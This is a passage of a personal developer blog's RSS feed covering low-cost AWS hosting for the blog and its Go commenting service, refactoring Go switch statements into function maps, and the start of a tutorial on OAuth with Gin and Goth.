happens and decrypt the sensitive files on a pull in the jenkins machine. I&rsquo;m also looking for a way to back it up once in a while. That&rsquo;s still in the works though and I&rsquo;m looking at rsync and AWS glacier as a possibility here. If you&rsquo;ve got a better solution, please let me know in the comments below. If the jenkins machine crashes - I&rsquo;ll probably need somewhere around 5 hours to get it restored on a clean machine from what I have stored in the private repository. So what does this jenkins actually do? Well, it listens for repo changes for the blog, mouthful demo page, mouthful, a private nginx repo and the yet unannounced service. It then performs the build steps.</p>
<p>For the blog, that&rsquo;s basicly baking the static pages and pushing them to S3 and invalidating a CloudFront distribution.</p>
<p>For mouthful, it builds both - the demo page backend service and the dizzy.zone commenting instance. It then builds a docker image, pushes it to AWS ECR and pushes updated task/service definitions to ECS.</p>
<p>For nginx, it build a new docker image for the nginx pushes it to ECR making sure to update the ECS task/service definitions as required.</p>
<h2 id="ecs-cluster">ECS cluster</h2>
<p>The ECS cluster I have is a whopping single <a href="https://aws.amazon.com/blogs/aws/ec2-update-t2-nano-instances-now-available/">T2.nano instance</a>  giving me a total of 512MB of RAM and 1 vCPU to play with. And in this cluster I have 4 services running. 2 of them are instances of <a href="https://github.com/vkuznecovas/mouthful">mouthful</a>: one for <a href="https://mouthful.dizzy.zone">mouthful.dizzy.zone</a>, the other for dizzy.zone. There&rsquo;s also an nginx instance and a service that&rsquo;s not yet in use. With this, I&rsquo;m running at basically 10% memory usage and the CPU usage is non existent at all. That&rsquo;s mostly due to writing everything with Go and having everything cached both in the instances and the CDN I use(more on that later).</p>
<p>Here&rsquo;s a memory graph from the instance:















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/08/15/How-I-host-this-blog-CI-and-tooling/memory.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/08/15/How-I-host-this-blog-CI-and-tooling/memory_hu_40cedda2e353fb94.png 500w,
  /2018/08/15/How-I-host-this-blog-CI-and-tooling/memory_hu_2049a3954460f677.png 800w,
  /2018/08/15/How-I-host-this-blog-CI-and-tooling/memory_hu_cf25b7d88c4e12c4.png 1200w,
  /2018/08/15/How-I-host-this-blog-CI-and-tooling/memory_hu_30f9ea3c3c67dfff.png 1500w'
  src="https://dizzy.zone/2018/08/15/How-I-host-this-blog-CI-and-tooling/memory_hu_cf25b7d88c4e12c4.png" 
  alt="Graph of memory usage on the T2.nano instance.">
</a>
</div></p>
<p>And the same for CPU:















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/08/15/How-I-host-this-blog-CI-and-tooling/cpu.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/08/15/How-I-host-this-blog-CI-and-tooling/cpu_hu_9c2d419c0b62ef57.png 500w,
  /2018/08/15/How-I-host-this-blog-CI-and-tooling/cpu_hu_3c5b5129fee63830.png 800w,
  /2018/08/15/How-I-host-this-blog-CI-and-tooling/cpu_hu_265c8679cac17f40.png 1200w,
  /2018/08/15/How-I-host-this-blog-CI-and-tooling/cpu_hu_4ae3d89b0e3eea37.png 1500w'
  src="https://dizzy.zone/2018/08/15/How-I-host-this-blog-CI-and-tooling/cpu_hu_265c8679cac17f40.png" 
  alt="Graph of cpu usage on the T2.nano instance.">
</a>
</div></p>
<p>The two mouthful instances are a bit different - the mouthful demo page one runs mouthful with no moderation and with sqlite as a data store(it&rsquo;s not that important if we lose the comments here) and the other uses DynamoDB.</p>
<p>I was pretty surprised how much I can actually fit on a T2.nano. There&rsquo;s plenty of space for a few services. One thing to note is that this blog is not all that popular so your mileage may vary.</p>
<p>To lower costs, I&rsquo;m also running the T2.nano reserved instance.</p>
<h2 id="nginx">nginx</h2>
<p>The instance I&rsquo;m running only exposes port 80. So for internal routing to the various services I use nginx. It basicly reroutes certain paths to certain services(running docker containers), as well as adding some headers to the resources that need to be cached or adding a no-cache header to those that don&rsquo;t.</p>
<h2 id="cdn">CDN</h2>
<p>For CDN I use CloudFront. It allows for easy SSL setup, forcing http -&gt; https redirects and caching of relevant resources. All of the distributions are spread through all of the edge locations amazon provides for maximum speed.</p>
<p>I&rsquo;ve got quite a few CloudFront distributions set up:</p>
<ul>
<li>One for dizzy.zone</li>
<li>One for mouthful.dizzy.zone</li>
<li>One for api.dizzy.zone -&gt; this points to the EC2 T2.nano</li>
<li>A few more static websites are hosted on S3, so we point to those.</li>
<li>Where applicable, I also include the www subdomain distributions.</li>
</ul>
<h2 id="dynamodb">DynamoDB</h2>
<p>The DynamoDB is a godsend. Its free tier(one that does not expire at the end of 12 months) is absolutely amazing. With all the other options on AWS being rather expensive in terms of databases it&rsquo;s been a rather easy choice for me and I&rsquo;ve been happy with it. The mouthful instance for the blog never even approaches the limit I&rsquo;ve set on the tables. I&rsquo;m pretty sure you can create a decent production-ready application on it with the free tier. Do take this with a grain of salt though as I&rsquo;m not expert on the matter. Nonetheless I&rsquo;m confident there&rsquo;s room for optimizations to be done in my implementation of it and I have a complete rewrite of the <a href="https://github.com/vkuznecovas/mouthful">mouthful</a> DynamoDB layer in my mind, just haven&rsquo;t gotten to it yet. It was the first real attempt at using DynamoDB and I&rsquo;m not completely impressed at the job I&rsquo;ve done.</p>
<h2 id="grafana">Grafana</h2>
<p>For monitoring purposes, I use grafana to plot the average response times of the apis and the website itself as well as having a graph showing if the apis/website are available. The data comes from a mysql instance running on the same host. The host also contains a service I&rsquo;ve hacked in Go in a couple of hours. The service allows for registering of targets(URL&rsquo;s) to hit with specified frequency. It then logs the response code and the time it took to respond and adds it to the mysql instance. Due to terrible code it&rsquo;s not public yet, but maybe someday. Oh and the host I&rsquo;m referring to is the same old laptop I&rsquo;m running my jenkins on.</p>
<p>This setup is mostly used to detect trends that might occur, such as slowdown of services once the amount of comments grows, or once the T2.nano instance starts to struggle with the load. I&rsquo;m hoping my laser eyeball will be able to spot the issues before they become critical.</p>
<p>Here&rsquo;s a snap of the dashboard I&rsquo;ve set up:</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/08/15/How-I-host-this-blog-CI-and-tooling/grafana.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/08/15/How-I-host-this-blog-CI-and-tooling/grafana_hu_4ff3a2667fe3e586.png 500w,
  /2018/08/15/How-I-host-this-blog-CI-and-tooling/grafana_hu_e42b3f755d9f95f6.png 800w,
  /2018/08/15/How-I-host-this-blog-CI-and-tooling/grafana_hu_d254e83794d69805.png 1200w,
  /2018/08/15/How-I-host-this-blog-CI-and-tooling/grafana_hu_c109943b8036df02.png 1500w'
  src="https://dizzy.zone/2018/08/15/How-I-host-this-blog-CI-and-tooling/grafana_hu_d254e83794d69805.png" 
  alt="A snapshot of grafana dashboard">
</a>
</div>
<h2 id="the-costs">The costs</h2>
<p>So how much does it all cost? I&rsquo;ll do a run down without the VAT here.</p>
<p>Well, not much really. A usual month for me costs me less than 12$. However, that is not representative of the writeup above, as I have quite a few other projects hosted there. Making adjustments for that, I&rsquo;ll assume that it costs me around 8$ to keep what I&rsquo;ve written above running.</p>
<p>Here&rsquo;s the bill:</p>
<ul>
<li>EC2 instance - 3.27$</li>
<li>EBS - the volume attached to the EC2 - 3.30$</li>
<li>ECR - 0.05$</li>
<li>Route53 - 1.51$</li>
<li>CloudFront - 0.33$</li>
<li>DynamoDB - free</li>
<li>DynamoDB backup storage - 0.01$</li>
<li>S3 - 0.03$</li>
<li>Misc - 0.03$</li>
</ul>
<p>For a grand total of 8.53$ before tax.</p>
<p>There&rsquo;s also the hidden electricity cost of running an old laptop. I have no clue how much power it consumes, so I&rsquo;ve left it out of the calculations.</p>
<p>In terms of these costs growing, I do not see any issues with the current infrastructure unless I see more than 50fold increase in blog readers. There will be minor costs penalties to that, but I&rsquo;m pretty sure those will be limited to Route53 and CloudFront.</p>
<h2 id="if-i-werent-on-a-budget">If I weren&rsquo;t on a budget</h2>
<p>There&rsquo;s a few things I&rsquo;d change if I weren&rsquo;t on the budget. First, I&rsquo;d get rid of the nginx and put an application load balancer there instead. Then I&rsquo;d change the caching on mouthful to a full fledged redis instance(I just like redis). Afterwards, I&rsquo;d spin up a few more T2.nano instances and replicate the setup on each of them. This way I&rsquo;d be able to scale quite well. I think - at least. Hopefully, time will tell.</p>
<p>And this concludes the overview of the infrastructure I&rsquo;ve got around the blog. Hope you enjoyed!</p>
<blockquote>
<p>So what do you guys think of my infrastructure? Anything I could improve? Maybe I&rsquo;ve got something completely wrong and deserve to go to the OPS hell? Do let me know in the comments.</p></blockquote>
]]></content:encoded>
        </item>
        <item>
            <title>Refactoring Go switch statements</title>
            <link>https://dizzy.zone/2018/07/28/Refactoring-Go-switch-statements/</link>
            <pubDate>Sat, 28 Jul 2018 09:15:50 +0000</pubDate>
            
            <guid>https://dizzy.zone/2018/07/28/Refactoring-Go-switch-statements/</guid>
            <description><![CDATA[ <p>When writing Go code, I often end up with lots of enums that I use to fork my logic in a switch statement. Take this enum:</p>
<p><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">MyEnum</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">One</span>   <span style="color:#a6e22e">MyEnum</span> = <span style="color:#66d9ef">iota</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Two</span>   <span style="color:#a6e22e">MyEnum</span> = <span style="color:#66d9ef">iota</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Three</span> <span style="color:#a6e22e">MyEnum</span> = <span style="color:#66d9ef">iota</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Four</span>  <span style="color:#a6e22e">MyEnum</span> = <span style="color:#66d9ef">iota</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Five</span>  <span style="color:#a6e22e">MyEnum</span> = <span style="color:#66d9ef">iota</span>
</span></span><span style="display:flex;"><span>)</span></span></code></pre></div>}</p>
<p>I&rsquo;ll then end up with a switch in a part of my code, like so</p>
<p><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">switch</span> <span style="color:#a6e22e">myEnum</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#a6e22e">One</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">DoSomeOtherStuff</span>()
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">err</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#a6e22e">Two</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">DoSomeMagicalStuff</span>()
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">err</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#a6e22e">Three</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">DoSomeExoticStuff</span>()
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">err</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#a6e22e">Four</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">DoSomeOtherStuff</span>()
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">err</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#a6e22e">Five</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">DoSomeStuff</span>()
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">err</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>}</p>]]></description>
            <content:encoded><![CDATA[ <p>When writing Go code, I often end up with lots of enums that I use to fork my logic in a switch statement. Take this enum:</p>
<p><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">MyEnum</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">One</span>   <span style="color:#a6e22e">MyEnum</span> = <span style="color:#66d9ef">iota</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Two</span>   <span style="color:#a6e22e">MyEnum</span> = <span style="color:#66d9ef">iota</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Three</span> <span style="color:#a6e22e">MyEnum</span> = <span style="color:#66d9ef">iota</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Four</span>  <span style="color:#a6e22e">MyEnum</span> = <span style="color:#66d9ef">iota</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Five</span>  <span style="color:#a6e22e">MyEnum</span> = <span style="color:#66d9ef">iota</span>
</span></span><span style="display:flex;"><span>)</span></span></code></pre></div>}</p>
<p>I&rsquo;ll then end up with a switch in a part of my code, like so</p>
<p><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">switch</span> <span style="color:#a6e22e">myEnum</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#a6e22e">One</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">DoSomeOtherStuff</span>()
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">err</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#a6e22e">Two</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">DoSomeMagicalStuff</span>()
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">err</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#a6e22e">Three</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">DoSomeExoticStuff</span>()
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">err</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#a6e22e">Four</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">DoSomeOtherStuff</span>()
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">err</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#a6e22e">Five</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">DoSomeStuff</span>()
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">err</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>}</p>
<p>When the enums are small, with only a few entries in them, this is all rather nice and readable. But take an enum that&rsquo;s 10, 20, 100 entries long and a switch becomes way too long. The approach I prefer to take in these cases is construct a map containing all the required functions associated with the enum value as the key for the map.</p>
<p><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">myMap</span> = <span style="color:#66d9ef">map</span>[<span style="color:#a6e22e">MyEnum</span>]<span style="color:#66d9ef">func</span>() <span style="color:#66d9ef">error</span>{
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">One</span>:   <span style="color:#a6e22e">DoSomeOtherStuff</span>,
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Two</span>:   <span style="color:#a6e22e">DoSomeMagicalStuff</span>,
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Three</span>: <span style="color:#a6e22e">DoSomeExoticStuff</span>,
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Four</span>:  <span style="color:#a6e22e">DoSomeOtherStuff</span>,
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Five</span>:  <span style="color:#a6e22e">DoSomeStuff</span>,
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>}</p>
<p>The switch then can be gotten rid of. Instead, it becomes a map lookup:</p>
<p><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#a6e22e">myFunc</span>, <span style="color:#a6e22e">ok</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">myMap</span>[<span style="color:#a6e22e">myEnum</span>]; <span style="color:#a6e22e">ok</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">myFunc</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">err</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// the default case would go here</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>}</p>
<p>This allows for more concise code and easier extension in the future. However, I do not use this everywhere either. If the enum is small and not going to change often(famous last words) I&rsquo;ll leave the switch in its place. It does not work in places where you have functions with very different signatures for each of the switch cases either.</p>
<h2 id="edit-handling-all-the-errors">EDIT: Handling all the errors</h2>
<p>As <em>Jonathan Gold</em> states in the comments below, you can also handle all the errors at once, so the initial switch becomes something along the lines of:</p>
<p><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">err</span> <span style="color:#66d9ef">error</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">switch</span> <span style="color:#a6e22e">myEnum</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#a6e22e">One</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">err</span> = <span style="color:#a6e22e">DoSomeOtherStuff</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#a6e22e">Two</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">err</span> = <span style="color:#a6e22e">DoSomeMagicalStuff</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#a6e22e">Three</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">err</span> = <span style="color:#a6e22e">DoSomeExoticStuff</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#a6e22e">Four</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">err</span> = <span style="color:#a6e22e">DoSomeOtherStuff</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#a6e22e">Five</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">err</span> = <span style="color:#a6e22e">DoSomeStuff</span>()
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">err</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>}</p>
<p>Thanks, Jonathan.</p>
<blockquote>
<p>How do you approach your switches? What other tricks do you use? Let me know in the comments below.</p></blockquote>
]]></content:encoded>
        </item>
        <item>
            <title>OAuth with Gin and Goth</title>
            <link>https://dizzy.zone/2018/06/01/OAuth-with-Gin-and-Goth/</link>
            <pubDate>Fri, 01 Jun 2018 10:52:18 +0000</pubDate>
            
            <guid>https://dizzy.zone/2018/06/01/OAuth-with-Gin-and-Goth/</guid>
            <description><![CDATA[ <div style="display: flex; justify-content: center;">
<a href="/2018/06/01/OAuth-with-Gin-and-Goth/oauth.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/06/01/OAuth-with-Gin-and-Goth/oauth_hu_f6e2ed94cb51221c.png 500w,
  /2018/06/01/OAuth-with-Gin-and-Goth/oauth_hu_a524f336f5b03a70.png 800w,
  /2018/06/01/OAuth-with-Gin-and-Goth/oauth_hu_e11ae75c96bf0232.png 1200w,
  /2018/06/01/OAuth-with-Gin-and-Goth/oauth_hu_be90ba93c7ab257f.png 1500w'
  src="/2018/06/01/OAuth-with-Gin-and-Goth/oauth_hu_e11ae75c96bf0232.png" 
  alt="OAuth logo.">
</a>
</div>
<p>When I created <a href="https://github.com/vkuznecovas/mouthful">mouthful</a>, I was intending it to be rather light and not feature rich but after getting a few feature requests getting in, I&rsquo;ve decided to expand it. <a href="https://github.com/vkuznecovas/mouthful/issues/45">One of the issues was a request to reuse logon credentials for the admin panel</a>. For that, I&rsquo;ve needed OAuth. I did not have much prior experience with OAuth, so it did intimidate me a bit. However, after implementing OAuth for mouthful, I can say that nowadays - it&rsquo;s rather easy including OAuth in your applications as well. It&rsquo;s also a rather good idea to do so as people behind the providers such as <a href="https://github.com">github</a> or <a href="https://facebook.com">facebook</a> are probably going to do a better job than a lone developer like me will at securing your credentials. Anyway, with this post I&rsquo;d like to show how easy it is to add OAuth to your <a href="https://github.com/gin-gonic/gin">gin project</a>.</p>]]></description>
            <content:encoded><![CDATA[ 














  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/06/01/OAuth-with-Gin-and-Goth/oauth.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/06/01/OAuth-with-Gin-and-Goth/oauth_hu_f6e2ed94cb51221c.png 500w,
  /2018/06/01/OAuth-with-Gin-and-Goth/oauth_hu_a524f336f5b03a70.png 800w,
  /2018/06/01/OAuth-with-Gin-and-Goth/oauth_hu_e11ae75c96bf0232.png 1200w,
  /2018/06/01/OAuth-with-Gin-and-Goth/oauth_hu_be90ba93c7ab257f.png 1500w'
  src="https://dizzy.zone/2018/06/01/OAuth-with-Gin-and-Goth/oauth_hu_e11ae75c96bf0232.png" 
  alt="OAuth logo.">
</a>
</div>
<p>When I created <a href="https://github.com/vkuznecovas/mouthful">mouthful</a>, I was intending it to be rather light and not feature rich but after getting a few feature requests getting in, I&rsquo;ve decided to expand it. <a href="https://github.com/vkuznecovas/mouthful/issues/45">One of the issues was a request to reuse logon credentials for the admin panel</a>. For that, I&rsquo;ve needed OAuth. I did not have much prior experience with OAuth, so it did intimidate me a bit. However, after implementing OAuth for mouthful, I can say that nowadays - it&rsquo;s rather easy including OAuth in your applications as well. It&rsquo;s also a rather good idea to do so as people behind the providers such as <a href="https://github.com">github</a> or <a href="https://facebook.com">facebook</a> are probably going to do a better job than a lone developer like me will at securing your credentials. Anyway, with this post I&rsquo;d like to show how easy it is to add OAuth to your <a href="https://github.com/gin-gonic/gin">gin project</a>.</p>
<h2 id="the-start">The start</h2>
<p>Let&rsquo;s start with a basic gin app, straight from the gin examples. One thing I&rsquo;ll change is the default route. Instead of the default ping in the demo, we&rsquo;ll serve some html.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;net/http&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;github.com/gin-gonic/gin&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">r</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">gin</span>.<span style="color:#a6e22e">Default</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">htmlFormat</span> <span style="color:#f92672">:=</span> <span style="color:#e6db74">`&lt;html&gt;&lt;body&gt;%v&lt;/body&gt;&lt;/html&gt;`</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">html</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Sprintf</span>(<span style="color:#a6e22e">htmlFormat</span>, <span style="color:#e6db74">&#34;Test&#34;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">GET</span>(<span style="color:#e6db74">&#34;/&#34;</span>, <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">c</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">gin</span>.<span style="color:#a6e22e">Context</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Data</span>(<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusOK</span>, <span style="color:#e6db74">&#34;text/html; charset=utf-8&#34;</span>, []byte(<span style="color:#a6e22e">html</span>))
</span></span><span style="display:flex;"><span>	})
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">Run</span>() <span style="color:#75715e">// listen and serve on 0.0.0.0:8080</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<h2 id="understanding-oauth-with-goth">Understanding OAuth with goth</h2>
